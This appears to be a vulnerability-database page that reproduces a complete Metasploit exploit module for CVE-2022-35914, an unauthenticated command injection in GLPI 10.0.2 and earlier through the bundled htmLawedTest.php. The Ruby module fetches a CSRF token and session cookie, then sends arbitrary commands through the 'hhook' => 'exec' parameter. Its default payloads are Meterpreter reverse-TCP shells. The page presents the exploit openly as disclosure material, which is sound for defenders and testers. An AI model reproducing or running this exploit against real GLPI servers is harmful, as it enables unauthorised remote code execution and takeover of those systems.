GLPI 10.0.2 Command Injection

2022.10.26
Credit: bwatters-r7
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'GLPI htmLawed php command injection', 'Description' => %q{ This exploit takes advantage of a unauthenticated php command injection available from GLPI versions 10.0.2 and below to execute a command. }, 'License' => MSF_LICENSE, 'Author' => [ 'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc 'bwatters-r7' # module ], 'References' => [ ['CVE', '2022-35914' ], ['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc'] ], 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_CMD], 'CmdStagerFlavor' => [ 'printf' ], 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp', 'RPORT' => 80, 'URIPATH' => '/glpi/' } } ], [ 'Linux (Dropper)', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'RPORT' => 80, 'URIPATH' => '/glpi/' }, 'Type' => :linux_dropper } ], ], 'DisclosureDate' => '2022-01-26', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } ) ) end def populate_values uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php" begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri), 'connection' => 'keep-alive', 'accept' => '*/*' }) @html = res.get_html_document @token = @html.at_xpath('//input[@id="token"]')['value'] vprint_status("token = #{@token}") # sometimes I got > 1 sid. We must use the last one. @sid = res.get_cookies.match(/.*=(.*?);.*/)[1] vprint_status("sid = #{@sid}") rescue NoMethodError => e elog('Failed to retrieve token or sid', error: e) end end def execute_command(cmd, _opts = {}) populate_values if @sid.nil? || @token.nil? uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri), 'cookie' => 'sid=' + @sid, 'ctype' => 'application/x-www-form-urlencoded', 'encode_params' => true, 'vars_post' => { 'token' => @token, 'text' => cmd, 'hhook' => 'exec', 'sid' => @sid } }) end def check populate_values if @html_doc.nil? if @token.nil? || @sid.nil? || @html.nil? return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page') end return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed') return Exploit::CheckCode::Safe('Unable to determine htmLawed status') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top